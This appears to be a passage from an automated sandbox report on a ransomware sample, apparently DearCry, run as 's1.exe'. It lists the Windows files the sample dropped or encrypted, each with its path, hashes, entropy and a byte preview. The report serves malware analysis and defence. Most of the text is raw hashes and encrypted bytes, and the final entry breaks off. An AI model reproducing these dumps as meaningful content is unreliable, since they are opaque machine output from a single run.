                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\Caches\{FE0954D6-6B08-46D7-A05D-C49BC35F188E}.2.ver0x0000000000000001.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):12224
                                                              Entropy (8bit):7.979233705454068
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3852A24450420FD0B4787F76E616825D
                                                              SHA1:A471C0A13E7662A8D9F61D8A8090AAF37A5F791C
                                                              SHA-256:4222B17B257E482EE660DDE1F3ED9915DD75A23ABC7740772B154C5290F99CF7
                                                              SHA-512:17C1871F939C932E8E556E9E11953E59A687527506646B258A4E7C3F09913DD7E53D641E68C5A0C687F556BEBB0B40563B545E73989DACF88DAC27157D9C8343
                                                              Malicious:false
                                                              Preview: DEARCRY!.....s..{.............4q}g...Y..g.Kg...o.*z.m%.|...K.....!5..|..Mi.p0P..i.;..z@1.a.>....1...w%{(....rf.(P.....i.^.\>.N..H{..6}......../...........~.~.j.e8dN.T..f...&...g..+...6............,...Lo...2..........N..Pl...x.3}..o...M0.r.l0....Zy@@..@u_............?..L...qY......d.y."h.w....["...T..oy..:V.n.....3J&:..g...N!...y:.s..+M."..k..../..#.h....N.1.m...Q7]4.T....[.gyo.H.otT.;..H..:..05='.....aH1..MC..z..$...J.Y]..V4....{....(<.v*...wE.....o....H.O.....z ..|.{...Jt.......a4....]z...F..5.......^.T....d[...A..6.N....?.h@Ka....5...%...D..`..gK.3w=r...iW...f...y.C...l.._l.9.WJ.~..yi..z.@.!..D....~..v.q.._....x....2?.1.@~..KB.b..Y:.z.\FlO..z$..J..u..0x2u.....20.{....C*.1.....A....(Q[. .. ..x...7..z(q..8].vj.2v.-.y.a..7..K]a...c... .7...0...Y_.8...5.Sg:....rP-p..`...1[..k..y..j.Fh....1.ua..P.Z....W.u'...u.._......38y.x..8.........=D...].u.........(..9Ufz./2.t..2...7.0q.....b(...w....X!../..&..6.k.g.=#.E.{..0.n.[L.....k.v.. ^..4..c.%...~$
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\02305155-8ac1-1189-ff55-b7119a53887c.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3190
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A1B37801A4D132200058CDFF08248F00
                                                              SHA1:8457FD5E97E7B0069D0CC3C0D29F0B932F714278
                                                              SHA-256:12A71C3DB6F1A9E2B14588BF321D17373CD188BC23556A0D4DF512B2D163373A
                                                              SHA-512:BAF1AE36ECD527B4B2ED903ADBC77F4F99442C7E502393383421BF854906D70A99D672166CD2BAB804AE2B22AAA882675733C5EB5BE4FC98204109834CA88023
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\02305155-8ac1-1189-ff55-b7119a53887c.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3480
                                                              Entropy (8bit):7.948666289796104
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B12F5E779FEADADB5F82DB80E1DA566F
                                                              SHA1:D11A7CE53936C2BCABCD758A153F4B118A999141
                                                              SHA-256:09B88D410C51631FE6F84DC020C778D7EDD82746A5A1930DC915240A16B72F28
                                                              SHA-512:60AD23013145D4344B6EB1D022B915AA1D101DC90E3F05C6423D27F51B27F2702CC6812B166BD3C112D39BDFEF4990890B04C5085E9126C5384EF4BB4A349423
                                                              Malicious:false
                                                              Preview: DEARCRY!....w'..n.4.2.|..k..|n.k.Ujs..tt.w...M.G.S..Q.'.<....??...)../.*.SY...\..&.....e.6i_..G...._?~:.cc..@..?T...-......#Cy..YbD:...;..FH....O..L.!I._.Gu.*z.O#...Fx&]=I....q..p.7a.pN+.7...u..-....5%.].83.|.rN......p@^.z.(8..R..n.;r`".B_..V>~.>*0.|.9.b....v.......l...9`.....f]g...uE.h.fn..-.m....kK?...Y=..z6.l..+.2R;d.....P....t}..Pf..3p...k..v.\=..._.*,...n.;E.:.4.DZs(.p...DL....|.N..a.<.?..q...t.u...w7...0u.....Ja..8......].\..H>.S..+. H*.q.d.?....6.b. J.....\..k...^&...,.].q.....q.....^.e.$H..P_.K..8u1..rn.w...V$Gk...S...b.1.1.<.T,e..Tb,....m.#...<4.81S3.,p.lg...:.D.cZ....H.XV.(...l...'..b<'{U.....2s.t$R..`.76..N.....j.M.....j.J.X.$....Z fu.u.F....F...J.Y.6..{...w.;..A....#y...Hzx.....-..K.W...y{...a.......M<.;".u.Bn.x.p......F..b.....C.P.@NXAu.....u..c^..E............,.a.K..g.g.x.w2D.....k.....w.oU...e..6...F\...6.a...r(.&...U.._).K]..E...+.Kx:./U....6h....L.J......<q.......01...+..r..#..m&F.....M..o..".....U....:.j!&.D.^..;...
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\03f8974b-362e-33e3-2e0b-c7bc2ea01c63.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3223
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0C8DC63ADE170DADA451FE043E1EB78B
                                                              SHA1:CCBB0B50BD1CEC62DD1693B8D315B73511182775
                                                              SHA-256:E41883E6857FAF47488896083EB493FC3276FC14020D99A08C3C6DB694BD06F7
                                                              SHA-512:58BD0AEDCDA5C57AC0DBEA1A1B150A323D277F9EFF7557906F12BC7A700F3F9AEE9A8EA35542E4BE6D2BA0A09AC4BDB7DBFEE2DBFD86C7E357932716BE529B50
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\03f8974b-362e-33e3-2e0b-c7bc2ea01c63.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3512
                                                              Entropy (8bit):7.947729853479346
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:453A9A990F912352E23351A9FEBD325B
                                                              SHA1:96E71F0626258BC52B0F6672B8B4821CA442CA57
                                                              SHA-256:613E4ABA45C3BD2DD9D7D0AA55A2AC45BFDC7A3F773092C8F5F76412820BB6BE
                                                              SHA-512:41D54620EDA32EBAC6127C194261EFE743FD8E4126EF494ED34E30881795E5A063F7764815D74525C4B902C8DE8C8C07A474CEBC4ECCE783E229838C026F95B6
                                                              Malicious:false
                                                              Preview: DEARCRY!.....y...,.t..E.~.^>R...6..Y.......a. 3a.Pl ...S3.ov.lT%@........+.].......u....]R.+/...D.Q."..K.).o\...j..I};....G.....Z... .Kz.}&...l..o....W?...U.t..i....N.^n....o...J.h....t.....<...VK...3..AM+...%.*.z.L0F9x..=.T%..Ug!.H...vMv7/.o..... .5.....-................5l...?.......I.....d.....u*.../|4Z.....6. ..Qd.....t......]V._.gi.KSf.3.Ig.....|....\f..H...=.Q.Y....!ZN....'=..Zu..}O.Bq=.o...)....8.~..Y.x}h..l....Dsxv..w....6Q'.~.Tv......+...s!..f?DAV..s.&..X@.s.....<..P9.Oq[.5....2:0...%.{...+.a8.+Y..X !.N....?...a.....Z..|,..`#m!..@39..T....(.).R.3T.f1.tdV.p..{..a..W..&\l&..H..(..w..`.o......TU ./..,.X.....t...R.b5E.,.8>wc....m$.g"........m..r~n.E...uMz.........G..V.X.~....q..B>...>D1...8....h.=.r..Qf.s....> ....":...(.....m.l.......:d,VJ...8.$j.5./-.^.o........MJ%..[x..K.`T.&..fZ$..8&.by.r.>&.w.B_...Q..[n....k..........c....)@.A....}.8..b.........?.0W,3t.&F..Jv.....t.E..;..p.....l...<...r..gi.Y....Q..>...9......./..8.....B.C.
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\0890ad2f-b74f-c384-f684-9c33f8f67924.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3202
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B78B7C0D4A6955DC5A8893B981BD0A50
                                                              SHA1:457B4B6B200F983CA6AF0F63B2817FA4E3CD750D
                                                              SHA-256:B50FE11B2E6CF01962BB2CD063B6FB71DE4C301074339698A2417FF0F089EA6A
                                                              SHA-512:FEE744E82BACA1CA88CA794B85B08A87F94619FFB45F2234AC36469C4366E521624629A6E7D44A0D17564D4C212C6784A79D3C9B84CF2C7C3653DCE95443B7C9
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\0890ad2f-b74f-c384-f684-9c33f8f67924.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3496
                                                              Entropy (8bit):7.943817265589535
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:EDA1B98CD7424C330093D485FA249AE9
                                                              SHA1:305CB6B1A0AA0E71E8FE55C2E509ACD11CCB4524
                                                              SHA-256:21F39E10B913B11B1D80E064C4ACC57EE407BC61C4A60277EB7332911E0D9B89
                                                              SHA-512:4FFC91AED84174A75ADDBB2FB6A2AF0BC3DF8B17D18DB8B2962E7767FE633AD880C393182D523B309B0125F19B2D1F0650D5F654F8CF491E19F60916BFB74567
                                                              Malicious:false
                                                              Preview: DEARCRY!....uk.`".lVs>..+9..U....v..f....n.QG*..8#.@7Zejzo/./P>...6.2(.b;...B...r.~@!...6.X.%c.R.s......4E..9;[...8..s.......O.....q,...9..s.g... ...7........-.a..kJ.....>...w..=...#]..L.~..._...s#....SkP.&.....F..SEC..n..R.........._ N..$Se.(.'...z...............#....1.l.3..7q..........).z9.B.'.H2.4.....O.... :..fQ_..d.e.p.1s.wb...w......~..8...I...h....._..m....-..bhT.a.Z.R...r......bT.5....cF.<B%BJWD..g8..u_.......0.0..eV?.r..^...Lj.\V.Xd.cz._..F....Y.Bb.[..m.....@O1..^.v.....*....\R...>g..v~We.....(2.)D....U...(@...x4.3...=FK{..#.#j....g....<3i.n.X..eX`...l.B!p$...RJ......^U.W.E~...|.l....Q.........oR.<.}...D.[W..a.JUw..&...Y..I..}.BPI.B..t...TK..g<...ziT.AUT.....,.g.v...W....Yn|.G.]......]GQ....o7..@.9..dt.*.W.K..2..]...2;..0-.....cp.n.&..?..U.D.B.&[CFs..t...q9+^%.h.........G4...~\..-.V.A.).Y .W...R..qu's..P#?F[}F..S..a.....W.....q..&hEx..yQv.j...z.K-.-Rm.i.T.\i$..l......Y....!4.c.....y.e..I......3[.6.-.%7..K.....0..>+...Je...q.yO.
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\0a8c1492-65ca-6a01-de25-0e183559d10d.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2630
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:29EB0301F92BDA0D67F79582ACADF847
                                                              SHA1:2C2AC90238793F699322833C2F8BD043CC29DDEC
                                                              SHA-256:221CE3A8C269F4DFF433A9A8A9807F65D8FA7B302E640B245F7293A0998363D6
                                                              SHA-512:61F47426E5DFF09A432A7848F3D07CFB5F85CAB6B327FB416C31223E6A5ECAAF3A3F065A6C4BF0A352FB4FD3C7199AE481C929C43DA3D596000F87D7F6BD52C1
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\0a8c1492-65ca-6a01-de25-0e183559d10d.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2920
                                                              Entropy (8bit):7.937320413083444
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F6E5E663AD5C344A4E90C710F5F6B860
                                                              SHA1:264C359C3D5F5318649C8129D02C761998C78861
                                                              SHA-256:6B7C70CD54184DEE65F7DFFF73C602276C4D3D63E5DD2D213BA223F524FFD12A
                                                              SHA-512:D867EFA5F71A8AF17724E0529736E280299BABB63244DFCB7BB6B9DC1C5687B9FCE4F90EDDC3691DE54FDE38DF768F717F6B18C9C5068CEE7B82202AFE8A2CCD
                                                              Malicious:false
                                                              Preview: DEARCRY!.........O... ;.+..1..X.{..\S.J...x.sh...c...G..........o..B.-H'*..N...n=r.ej_..0..M...k.0...S=..\.4....F.\7G..>P.N..0.=R.0.hZ.?gF!...2..|D.E>.7.y..]....$........u.g.%..2.......v...M......i..<...A.w9{....n..'..8...O3L8..V^.....{...4..5-..O.a........F.......O+..w....R...>I!.W)._e.V.I.......,k.$E.t.......iH3._.8.K..H6. Zf..),.K.1../+_E*..00.?;.G.G.).XX..<UH...jh...6t..8.`.........x..e..m.x?h.#g.x.x..;...q..h..%........J....N...T.....6....j...;.e.3..T$n..._*..@....bS_ ...6E!,BI...g.f..2..~X.T}.v?g.|.N3u..P..+.0e..6....g......kLx./d.........72stq.nz..k.Z.....f.I...N].A...[.6z.."....R..=.^N.K..V..=?.C.-.nc.....@.D".I.a.+.z......e.r{...........r.D~.l.....2j.5w.[x9..3-....a.c...B.Q........0.&....z.@._..a3.`,......e{..;.......U.8.a....{.h...!|....fY..lg....C.o..v,..XY.j'......G.w.Y._.Q......9...rs...~....c.]k.J.@L.\^i..N....,..d...A1@....P)A.\.t.......=......3....J.a.p..M.J).WT.^...brHW......4..8.>....(x.Y".......\T...w...O].g.@|x..V.HM>.
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\13ba8772-845b-29a1-ae9e-fb2793ccf4ea.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3180
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:074BAA0D6ADA3FEBCB9D5D2CF6D71779
                                                              SHA1:B16D5ABBC7D46DA6E6812BBD98227CC1245A723C
                                                              SHA-256:CA0E0ADB6D663560257BFBD31151716045747ECD7E3F0442C9A813340B25DB63
                                                              SHA-512:6F7FFCCA2755D0BD5FAC7D4147DFB5D536E10F86BC272D035C07F66CB486586E2AE95A771D1C6ED3F751F14F019CE16C6C0A796EA8544658EEC85823A13A28B5
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\13ba8772-845b-29a1-ae9e-fb2793ccf4ea.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3464
                                                              Entropy (8bit):7.94166496611413
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:33CC39EC436062B23CEB6FB7F3F748AF
                                                              SHA1:D7D02DDEEC3F1B52A8E01303FA00B49A368D3460
                                                              SHA-256:8DFB008986B6FE22E58739A690A630D6638004EF2F45A8C5D9C76C0973E9426A
                                                              SHA-512:CFF4F1621D43B85A103B4A1417A0532C41236488425032D40DC6174E16F48F6F809495A7C5357F319BC71942F00F271CF411C994956730E27EEADDBE9E011074
                                                              Malicious:false
                                                              Preview: DEARCRY!.......x.&?..z....[).~...n.|.}.....6p.~.}.-V5....Xc.`D........{.wy.;...lbO~e'..m..p.`.L?..(.)o.....p+OY;=v....<r.....8Q'..u.A..+7...V*.....b........^.T...w4....=t.8(8Q..Q....o....Ma....h+7..C.s.k.q`3...!.8?..W..0.K..;=%..wWS...3..I.. .<@.....K...aN.....l.......E...+...M...vX-;.W.p.p.t.. q3...X.4..aE..u:..sgV..fe..Q........X..w.4^..1...72D?r.st8.W......e.B.R.&S.a<G.Vf?v.....z..p.$..o'cb..P#;S......6m&..6.r.-..w...z.".%{.h..fX..n*.......e..Kp4.c).l.6....3..~3...9F.?.a&.....G.g.4.[..O>..J......%.&..b.,.|.>.s:R..S...+.nf...9...@.c..~.t.iU....P..g....c..`..B..c.A.p]...i..@....z*..9. ...]........e.o;.?.....(.m..bba....m,k.q./m..6...n. ......J..K\...Fj.J'..)|.c..4....Y.s...3..r. .I.A.7)..8....ng.....f.D.h....s..<=.....(...Z.....+S..b...`.OM..I.q..yz.b<...<dK.....u...Y.B.^b..*.w....iF.!.X...~..v..g2+...@.....d...BvCwNh.5....a..c....'.0...._......c........Mp...f...0.8R.....6`..."h..M...HB.f.B.\hY.....1i.S.W..Q........QI.k..`.6..R..u.....Z....9{...
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\1659a225-428e-84f0-ba52-5fb2b85d55b3.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3544
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3B9E2D65A29BA2B8346CF338F54F6F26
                                                              SHA1:B5E2F0D1B42C67B33567CADA67BE68DE072F9A31
                                                              SHA-256:149BCFB08EDCF9B6A43D7DB186BB43487C8F56640A0201D2A0B753B8BA61AEC7
                                                              SHA-512:0DE97634CE280645183E673E6C82A548FBFC9CAB7B387998A226CDDF82695B73B7E356CFED6AC6E489876FE05E0AFCE5CE654B3C298AFCAFACB67B49FF56D480
                                                              Malicious:false
